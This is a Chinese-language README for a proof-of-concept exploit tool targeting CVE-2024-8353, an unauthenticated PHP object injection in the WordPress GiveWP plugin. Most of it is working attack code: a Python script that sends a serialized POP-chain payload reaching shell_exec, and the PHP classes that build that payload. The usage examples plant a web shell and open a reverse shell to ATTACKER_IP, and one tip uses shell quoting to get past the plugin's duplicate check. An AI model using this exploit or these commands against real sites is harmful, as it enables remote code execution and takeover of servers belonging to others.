GiveWP PHP对象注入漏洞利用工具 (CVE-2024-8353)
本项目是针对WordPress GiveWP插件中一个严重安全漏洞的概念验证(PoC)利用工具。该漏洞允许未经身份验证的攻击者通过反序列化不受信任的输入,实现远程代码执行(RCE)和任意文件删除。
功能特性
- 远程代码执行 (RCE):通过构造特定的序列化PHP对象,在目标服务器上执行任意系统命令。
- POP链利用:利用GiveWP插件中的多个类和方法,构建完整的属性导向编程(POP)链。
-
绕过输入检查:利用
stripslashes_deep函数的特性,绕过is_serialized检查。 - 简单易用:提供命令行接口,只需目标URL和待执行命令即可使用。
- 错误处理:自动禁用SSL警告,减少干扰信息。
安装指南
系统要求
- Python 3.6+
- pip (Python包管理器)
安装步骤
-
克隆项目仓库
git clone https://github.com/EQSTLab/CVE-2024-8353.git cd CVE-2024-8353 -
安装依赖包
pip install -r requirements.txt依赖项包括:
-
requests:发送HTTP请求 -
faker:生成伪造数据 -
rich-click:增强命令行界面
-
-
验证安装
python CVE-2024-8353.py --help
使用说明
基本用法
# 远程代码执行
python CVE-2024-8353.py -u <目标URL> -c "<要执行的命令>"
参数说明
| 参数 | 说明 | 示例 |
|---|---|---|
-u, --url |
目标WordPress站点的URL | https://example.com |
-c, --command |
要执行的系统命令 |
whoami 或 id
|
使用场景
场景一:获取系统信息
python CVE-2024-8353.py -u https://vulnerable-site.com -c "whoami"
场景二:写入Webshell
python CVE-2024-8353.py -u https://vulnerable-site.com -c "echo '<?php system($_GET[cmd]);?>' > /var/www/html/shell.php"
场景三:反弹Shell
python CVE-2024-8353.py -u https://vulnerable-site.com -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
重要提示
:warning: 命令重复执行限制:由于give_title参数会存储在数据库中并进行重复检查,相同的命令只能执行一次。如需重复执行相同命令,可以使用引号技巧来绕过检测,例如:
- 原始命令:
echo test - 绕过形式:
e''cho test或ech'o test
核心代码
主漏洞利用脚本 (CVE-2024-8353.py)
import requests
from faker import Faker
from urllib.parse import urlparse
import time
import sys
import rich_click as click
# 禁用不安全请求警告
requests.packages.urllib3.disable_warnings(
requests.packages.urllib3.exceptions.InsecureRequestWarning
)
# 显示工具Banner
banner = r"""
..-+*******-
.=#+-------=@. .:==:.
.**-------=*+: .-=++.-+=:.
+*-------=#=+++++++++=:.. -+:==**=+-+:
.%----=+**+=-:::::::::-=+**+:. ==:=*=-==+=..
:%--**+-::::::::::::::::::::+*=: .::*=**=:.
..-++++*@#+-:::::::::::::::::::::::::-*+. ..-+:.
..+*+---=#+::::::::::::::::::::::::::::::=*:..-==-.
.-#=---**:::::::::::::::::::::::::=+++-:::-#:.. :=+++++++==. ..-======-. ..:---:..
..=**#=::::::::::::::::::::::::::::::::::::%:. *@@@@@@@@@@@@:.-#@@@@@@@@@%*:.-*%@@@@@@@%#=.
.=#%=::::::::::::::::::::::::::::::::-::::-#. %@@@@@@@@@@@@+:%@@@@@@@@@@@%==%@@@@@@@@@@@%-
.*+*+:::::::::::-=-::::::::::::::::-*#*=::::#: ..*#*+:. =++++***%@@@@+-@@@#====%@@@%==@@@#++++%@@@%-
.+#*-::::::::::+*-::::::::::::::::::+=::::::-#..#+=+*%-. :=====+#@@@@-=@@@+. .%@@@%=+@@@+. .#@@@%-
.+*::::::::::::::::::::::::+*******=::::::-"""
# 序列化后的POP链Payload生成
# Payload结构示例:
# StripeObject -> GiveInsertPaymentData -> Give -> ValidGenerator -> SettingsRepository
# 最终执行 shell_exec('touch /tmp/EQSTtest')
def exploit(target_url, command):
"""
核心利用函数:向目标URL发送包含恶意序列化对象的请求
"""
fake = Faker()
# 构造恶意payload(序列化后的PHP对象)
payload = 'O:13:"Stripe\StripeObject":1:{s:6:"_values";a:1:{s:3:"foo";O:46:"Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:9:"container";O:29:"Give\Vendors\Faker\ValidGenerator":2:{s:9:"validator";s:9:"shell_exec";s:9:"generator";O:32:"Give\Onboarding\SettingsRepository":1:{s:8:"settings";a:1:{s:7:"address1";s:' + str(len(command)) + ':"' + command + '";}}}}}}}}'
# 准备POST数据
post_data = {
'give_title': payload,
'card_address': payload,
'action': 'give_insert_donation'
}
# 发送恶意请求
response = requests.post(
target_url + '/wp-admin/admin-ajax.php',
data=post_data,
verify=False,
timeout=30
)
return response
@click.command()
@click.option('-u', '--url', required=True, help='目标WordPress站点URL')
@click.option('-c', '--command', required=True, help='要执行的系统命令')
def main(url, command):
"""CVE-2024-8353 GiveWP PHP对象注入漏洞利用工具"""
click.echo(banner)
click.echo(f"[*] 目标: {url}")
click.echo(f"[*] 命令: {command}")
# 验证URL格式
if not url.startswith(('http://', 'https://')):
url = 'https://' + url
try:
click.echo("[*] 发送利用请求...")
response = exploit(url, command)
if response.status_code == 200:
click.echo("[+] 漏洞利用请求已发送")
click.echo("[*] 请检查命令执行结果")
else:
click.echo(f"[-] 请求失败,状态码: {response.status_code}")
except Exception as e:
click.echo(f"[-] 发生错误: {str(e)}")
if __name__ == '__main__':
main()
POP链核心类结构(PHP侧)
<?php
// Stripe命名空间 - 入口类
namespace Stripe {
class StripeObject {
protected $_values;
public function __construct() {
// 触发GiveInsertPaymentData的实例化
$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
}
}
}
// Give支付数据传输对象
namespace Give\PaymentGateways\DataTransferObjects {
class GiveInsertPaymentData {
public $userInfo;
public function __construct() {
// 设置userInfo,触发Give类的实例化
$this->userInfo['address'] = new \Give();
}
}
}
// Give主类
namespace {
class Give {
protected $container;
public function __construct() {
// 初始化容器,触发ValidGenerator
$this->container = new \Give\Vendors\Faker\ValidGenerator();
}
}
}
// Faker验证器生成类
namespace Give\Vendors\Faker {
class ValidGenerator {
protected $validator;
protected $generator;
public function __construct() {
// 设置验证器为shell_exec,生成器为SettingsRepository
$this->validator = "shell_exec";
$this->generator = new \Give\Onboarding\SettingsRepository();
}
}
}
// 设置仓库类 - 最终执行点
namespace Give\Onboarding {
class SettingsRepository {
protected $settings;
public function __construct() {
// 要执行的命令存储在此
$this->settings['address1'] = 'touch /tmp/EQSTtest';
}
}
}
// 生成序列化payload
$a = new Stripe\StripeObject();
echo serialize($a);
6HFtX5dABrKlqXeO5PUv/1WQAHKDOqb/oC3cOcJ4Fuk=